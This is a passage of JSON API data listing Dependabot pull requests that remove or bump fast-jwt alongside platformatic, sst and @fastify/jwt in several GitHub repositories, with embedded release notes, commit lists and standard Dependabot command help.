quadratic output size with pathological user input in tables, \u003ca href=\"https://redirect.github.com/markdown-it/markdown-it/issues/1000\"\u003e#1000\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[14.0.0] - 2023-12-08\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eDrop ancient browsers support (use \u003ccode\u003e.fromCodePoint\u003c/code\u003e and other features).\u003c/li\u003e\n\u003cli\u003eRewrite to ESM (including all plugins/deps). CJS fallback still available.\nNo signatures changed, except \u003ccode\u003emarkdown-it-emoji\u003c/code\u003e plugin.\u003c/li\u003e\n\u003cli\u003eDropped \u003ccode\u003edist/\u003c/code\u003e folder from repo, build on package publish.\u003c/li\u003e\n\u003cli\u003eSet \u003ccode\u003epunicod...\n\n_Description has been truncated_","html_url":"https://github.com/dporkka/dittofeed-customer-engagement/pull/2","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/dporkka%2Fdittofeed-customer-engagement/issues/2","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/2/packages"},{"uuid":"4196998395","node_id":"PR_kwDOIMOYN87PrByp","number":13,"state":"closed","title":"Bump fast-jwt and platformatic","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-04-03T22:07:36.000Z","author_association":null,"state_reason":null,"created_at":"2026-04-02T21:08:13.000Z","updated_at":"2026-04-03T22:07:38.000Z","time_to_close":89963,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"fast-jwt","repository_url":"https://github.com/nearform/fast-jwt","old_version":null,"new_version":null,"is_removal":true},{"name":"platformatic","repository_url":"https://github.com/platformatic/platformatic","old_version":"0.3.0","new_version":"3.46.0"}],"path":null,"ecosystem":"npm"},"body":"Removes [fast-jwt](https://github.com/nearform/fast-jwt). It's no longer used after updating ancestor dependency [platformatic](https://github.com/platformatic/platformatic). These dependencies need to be updated together.\n\nRemoves `fast-jwt`\n\nUpdates `platformatic` from 0.3.0 to 3.46.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/platformatic/platformatic/releases\"\u003eplatformatic's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev3.45.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore(deps): update dependency fastify to v5.8.3 [security] by \u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4685\"\u003eplatformatic/platformatic#4685\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): update dependency yaml to v2.8.3 [security] by \u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4686\"\u003eplatformatic/platformatic#4686\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(create-wattpm): allow better-sqlite3 builds for pnpm by \u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4683\"\u003eplatformatic/platformatic#4683\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Added rewritePrefix support to gateway. by \u003ca href=\"https://github.com/ShogunPanda\"\u003e\u003ccode\u003e@​ShogunPanda\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4687\"\u003eplatformatic/platformatic#4687\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/platformatic/platformatic/compare/v3.44.0...v3.45.0\"\u003ehttps://github.com/platformatic/platformatic/compare/v3.44.0...v3.45.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev3.44.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Support preRewrite in gateway custom logic. by \u003ca href=\"https://github.com/ShogunPanda\"\u003e\u003ccode\u003e@​ShogunPanda\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4680\"\u003eplatformatic/platformatic#4680\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): update dependency astro to v5.18.1 by \u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4660\"\u003eplatformatic/platformatic#4660\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/platformatic/platformatic/compare/v3.43.0...v3.44.0\"\u003ehttps://github.com/platformatic/platformatic/compare/v3.43.0...v3.44.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev3.43.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eadd updateMany and insert in db-authorization role types by \u003ca href=\"https://github.com/Akallabet\"\u003e\u003ccode\u003e@​Akallabet\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4669\"\u003eplatformatic/platformatic#4669\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): update dependency \u003ccode\u003e@​babel/parser\u003c/code\u003e to v7.29.2 by \u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4670\"\u003eplatformatic/platformatic#4670\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): update dependency \u003ccode\u003e@​fastify/http-proxy\u003c/code\u003e to v11.4.2 by \u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4671\"\u003eplatformatic/platformatic#4671\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Do not override entrypoint port when unset. by \u003ca href=\"https://github.com/ShogunPanda\"\u003e\u003ccode\u003e@​ShogunPanda\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4673\"\u003eplatformatic/platformatic#4673\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Added new customization options. by \u003ca href=\"https://github.com/ShogunPanda\"\u003e\u003ccode\u003e@​ShogunPanda\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4668\"\u003eplatformatic/platformatic#4668\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(wattpm): prevent help crash for snapshot and pprof by \u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4677\"\u003eplatformatic/platformatic#4677\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: fix typings of \u003ccode\u003egetGlobal()\u003c/code\u003e by \u003ca href=\"https://github.com/mrazauskas\"\u003e\u003ccode\u003e@​mrazauskas\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4656\"\u003eplatformatic/platformatic#4656\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Rewritten override logic. by \u003ca href=\"https://github.com/ShogunPanda\"\u003e\u003ccode\u003e@​ShogunPanda\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4675\"\u003eplatformatic/platformatic#4675\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Add runtime envfile option. by \u003ca href=\"https://github.com/ShogunPanda\"\u003e\u003ccode\u003e@​ShogunPanda\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4678\"\u003eplatformatic/platformatic#4678\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/platformatic/platformatic/compare/v3.42.0...v3.43.0\"\u003ehttps://github.com/platformatic/platformatic/compare/v3.42.0...v3.43.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev3.42.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore(deps): update dependency tar to v7.5.11 [security] by \u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4654\"\u003eplatformatic/platformatic#4654\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: add ignoreAllReverseRoutes config option for \u003ccode\u003e@​platformatic/db\u003c/code\u003e by \u003ca href=\"https://github.com/Akallabet\"\u003e\u003ccode\u003e@​Akallabet\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4655\"\u003eplatformatic/platformatic#4655\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(deps): update dependency undici to v7.24.0 [security] by \u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4658\"\u003eplatformatic/platformatic#4658\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: add missing \u003ccode\u003e@platformatic/foundation\u003c/code\u003e types by \u003ca href=\"https://github.com/mrazauskas\"\u003e\u003ccode\u003e@​mrazauskas\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4657\"\u003eplatformatic/platformatic#4657\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): update actions/add-to-project digest to ee3e379 by \u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4659\"\u003eplatformatic/platformatic#4659\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: fix and add missing package READMEs by \u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4663\"\u003eplatformatic/platformatic#4663\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(deps): update dependency next to v16.1.7 [security] by \u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4664\"\u003eplatformatic/platformatic#4664\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: add wattpm heap-snapshot command by \u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4667\"\u003eplatformatic/platformatic#4667\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): Update pino in \u003ccode\u003e@platformatic/runtime\u003c/code\u003e by \u003ca href=\"https://github.com/gijs-martens\"\u003e\u003ccode\u003e@​gijs-martens\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4666\"\u003eplatformatic/platformatic#4666\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gijs-martens\"\u003e\u003ccode\u003e@​gijs-martens\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/platformatic/platformatic/pull/4666\"\u003eplatformatic/platformatic#4666\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/platformatic/platformatic/compare/v3.41.0...v3.42.0\"\u003ehttps://github.com/platformatic/platformatic/compare/v3.41.0...v3.42.0\u003c/a\u003e\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/platformatic/platformatic/commits\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by [GitHub Actions](\u003ca href=\"https://www.npmjs.com/~GitHub\"\u003ehttps://www.npmjs.com/~GitHub\u003c/a\u003e Actions), a new releaser for platformatic since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/ruheni/platformatic-prisma-reproduction/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/ruheni/platformatic-prisma-reproduction/pull/13","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruheni%2Fplatformatic-prisma-reproduction/issues/13","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/13/packages"},{"uuid":"4196903329","node_id":"PR_kwDOOP_e0M7PqwdR","number":21,"state":"open","title":"Bump fast-jwt and sst","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-04-02T20:47:12.000Z","updated_at":"2026-04-02T20:51:47.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"fast-jwt","repository_url":"https://github.com/nearform/fast-jwt","old_version":null,"new_version":null,"is_removal":true},{"name":"sst","repository_url":"https://github.com/anomalyco/sst","old_version":"2.40.6","new_version":"4.6.11"}],"path":null,"ecosystem":"npm"},"body":"Removes [fast-jwt](https://github.com/nearform/fast-jwt). It's no longer used after updating ancestor dependency [sst](https://github.com/anomalyco/sst). These dependencies need to be updated together.\n\nRemoves `fast-jwt`\n\nUpdates `sst` from 2.40.6 to 4.6.11\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/anomalyco/sst/releases\"\u003esst's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev4.6.11\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003ecf6809cd04dd6700a62ab6627a523568bc796a72 Add new v4 ugprade testimonial\u003c/li\u003e\n\u003cli\u003eb5803f0133db68b401d0b0d4087bb7e049c509b8 Fix inconsistent marshalled secret type (\u003ca href=\"https://redirect.github.com/anomalyco/sst/issues/6682\"\u003e#6682\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ec36553cf648fa0ec748197bae0ad5035000421a7 Fix worker placement via transform (\u003ca href=\"https://redirect.github.com/anomalyco/sst/issues/6684\"\u003e#6684\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev4.6.10\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eed47ecb6b6b10abef4774682a7cea78b23a2bcee Color tunnel logs by IP address (\u003ca href=\"https://redirect.github.com/anomalyco/sst/issues/6672\"\u003e#6672\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eb62a18a40c356044370004228ba14c3eaa406f97 Prevent \u003ccode\u003esst dev\u003c/code\u003e on protected stages (\u003ca href=\"https://redirect.github.com/anomalyco/sst/issues/6679\"\u003e#6679\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e0c8c794bd8ca85c21f0b41bdf61ae1a1274a6714 improve durable lambda docs\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev4.6.9\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e70b636bae47731e4a39c69b6aa002b451faa9e1d Allow package versioning when using \u003ccode\u003enodejs.install\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/anomalyco/sst/issues/5270\"\u003e#5270\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ed5cd7898e706ef4a57ec5121fa5403927543c2e3 Remove unused files (\u003ca href=\"https://redirect.github.com/anomalyco/sst/issues/6673\"\u003e#6673\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e4d17fe1e53a29b20004fe2524b3ee1db4f480591 Show \u003ccode\u003esst state list\u003c/code\u003e command (\u003ca href=\"https://redirect.github.com/anomalyco/sst/issues/6670\"\u003e#6670\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev4.6.8\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e465c5cbdd3943db26a1e397ae5a0dbff340c8933 Add pothos graphql example (\u003ca href=\"https://redirect.github.com/anomalyco/sst/issues/5191\"\u003e#5191\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eaf12f991bf1d81b30cbfe9c519c99dfb75d37055 Update install Rust SDK docs\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev4.6.7\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e43cc2a44435e197c51161142313d606e61f66fc5 Add missing \u003ccode\u003e@openauthjs/openauth\u003c/code\u003e on React example (\u003ca href=\"https://redirect.github.com/anomalyco/sst/issues/5452\"\u003e#5452\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e1e56380b6ee952857d6d2001d22463dc83b4cdff Fix \u003ccode\u003enodejs.splitting\u003c/code\u003e enabled breaking the lambda handler (\u003ca href=\"https://redirect.github.com/anomalyco/sst/issues/6083\"\u003e#6083\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e848b6ff73d706d4f8a565cb69dcd0bc3e4730855 Make Rust SDK \u003ccode\u003eSST_KEY\u003c/code\u003e environment variables optional (\u003ca href=\"https://redirect.github.com/anomalyco/sst/issues/6186\"\u003e#6186\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev4.6.6\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003ee3549f58e9e29fa2d9d1faf1d54b4df7d8285866 Release Rust SDK again\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev4.6.5\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e2fec91a5a763dcf41dfa396984321ce44b857ed1 Fix \u003ccode\u003enodejs.install\u003c/code\u003e \u003ccode\u003epackage.json\u003c/code\u003e lookup (\u003ca href=\"https://redirect.github.com/anomalyco/sst/issues/5988\"\u003e#5988\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev4.6.4\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003ede900f4aea78017cd3715f4d82e7e24fc14d56a7 Fix TanStackStart Lambda bundle path by resolving server output to an absolute path (\u003ca href=\"https://redirect.github.com/anomalyco/sst/issues/6658\"\u003e#6658\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ea5749f331ba58605199acc710f2adeaa99edf21b Rename sidebar CronV2 (\u003ca href=\"https://redirect.github.com/anomalyco/sst/issues/6668\"\u003e#6668\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev4.6.3\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003ed646b0fadc76b67d9d47a4f325a22a88d87e2e55 Make version type optional for core providers (\u003ca href=\"https://redirect.github.com/anomalyco/sst/issues/6667\"\u003e#6667\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev4.6.2\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003ebd7b7baa43dc05591614a3af1e4a6237f8467768 remove rust sdk release temp\u003c/li\u003e\n\u003cli\u003e66e47c765ad3372f4bd09a8de712578e841fc337 setup ssh for aur\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/anomalyco/sst/commit/c36553cf648fa0ec748197bae0ad5035000421a7\"\u003e\u003ccode\u003ec36553c\u003c/code\u003e\u003c/a\u003e Fix worker placement via transform (\u003ca href=\"https://redirect.github.com/anomalyco/sst/issues/6684\"\u003e#6684\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/anomalyco/sst/commit/b5803f0133db68b401d0b0d4087bb7e049c509b8\"\u003e\u003ccode\u003eb5803f0\u003c/code\u003e\u003c/a\u003e Fix inconsistent marshalled secret type (\u003ca href=\"https://redirect.github.com/anomalyco/sst/issues/6682\"\u003e#6682\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/anomalyco/sst/commit/cf6809cd04dd6700a62ab6627a523568bc796a72\"\u003e\u003ccode\u003ecf6809c\u003c/code\u003e\u003c/a\u003e Add new v4 ugprade testimonial\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/anomalyco/sst/commit/b62a18a40c356044370004228ba14c3eaa406f97\"\u003e\u003ccode\u003eb62a18a\u003c/code\u003e\u003c/a\u003e Prevent \u003ccode\u003esst dev\u003c/code\u003e on protected stages (\u003ca href=\"https://redirect.github.com/anomalyco/sst/issues/6679\"\u003e#6679\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/anomalyco/sst/commit/0c8c794bd8ca85c21f0b41bdf61ae1a1274a6714\"\u003e\u003ccode\u003e0c8c794\u003c/code\u003e\u003c/a\u003e improve durable lambda docs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/anomalyco/sst/commit/ed47ecb6b6b10abef4774682a7cea78b23a2bcee\"\u003e\u003ccode\u003eed47ecb\u003c/code\u003e\u003c/a\u003e Color tunnel logs by IP address (\u003ca href=\"https://redirect.github.com/anomalyco/sst/issues/6672\"\u003e#6672\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/anomalyco/sst/commit/70b636bae47731e4a39c69b6aa002b451faa9e1d\"\u003e\u003ccode\u003e70b636b\u003c/code\u003e\u003c/a\u003e Allow package versioning when using \u003ccode\u003enodejs.install\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/anomalyco/sst/issues/5270\"\u003e#5270\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/anomalyco/sst/commit/d5cd7898e706ef4a57ec5121fa5403927543c2e3\"\u003e\u003ccode\u003ed5cd789\u003c/code\u003e\u003c/a\u003e Remove unused files (\u003ca href=\"https://redirect.github.com/anomalyco/sst/issues/6673\"\u003e#6673\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/anomalyco/sst/commit/4d17fe1e53a29b20004fe2524b3ee1db4f480591\"\u003e\u003ccode\u003e4d17fe1\u003c/code\u003e\u003c/a\u003e Show \u003ccode\u003esst state list\u003c/code\u003e command (\u003ca href=\"https://redirect.github.com/anomalyco/sst/issues/6670\"\u003e#6670\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/anomalyco/sst/commit/465c5cbdd3943db26a1e397ae5a0dbff340c8933\"\u003e\u003ccode\u003e465c5cb\u003c/code\u003e\u003c/a\u003e Add pothos graphql example (\u003ca href=\"https://redirect.github.com/anomalyco/sst/issues/5191\"\u003e#5191\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/anomalyco/sst/compare/sst@2.40.6...v4.6.11\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by [GitHub Actions](\u003ca href=\"https://www.npmjs.com/~GitHub\"\u003ehttps://www.npmjs.com/~GitHub\u003c/a\u003e Actions), a new releaser for sst since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/Dustin4444/docs-4/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/Dustin4444/docs-4/pull/21","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/Dustin4444%2Fdocs-4/issues/21","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/21/packages"},{"uuid":"3974526800","node_id":"PR_kwDOLDOMWc7FdsXQ","number":8,"state":"closed","title":"Bump fast-jwt and @fastify/jwt","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-02-24T21:31:35.000Z","author_association":null,"state_reason":null,"created_at":"2026-02-22T13:26:28.000Z","updated_at":"2026-02-24T21:31:45.000Z","time_to_close":201907,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"fast-jwt","repository_url":"https://github.com/nearform/fast-jwt","old_version":"3.3.2","new_version":"6.1.0"},{"name":"@fastify/jwt","repository_url":"https://github.com/fastify/fastify-jwt","old_version":"8.0.0","new_version":"10.0.0"}],"path":null,"ecosystem":"npm"},"body":"Bumps [fast-jwt](https://github.com/nearform/fast-jwt) to 6.1.0 and updates ancestor dependency [@fastify/jwt](https://github.com/fastify/fastify-jwt). These dependencies need to be updated together.\n\nUpdates `fast-jwt` from 3.3.2 to 6.1.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nearform/fast-jwt/releases\"\u003efast-jwt's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.1.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v6.0.2 by \u003ca 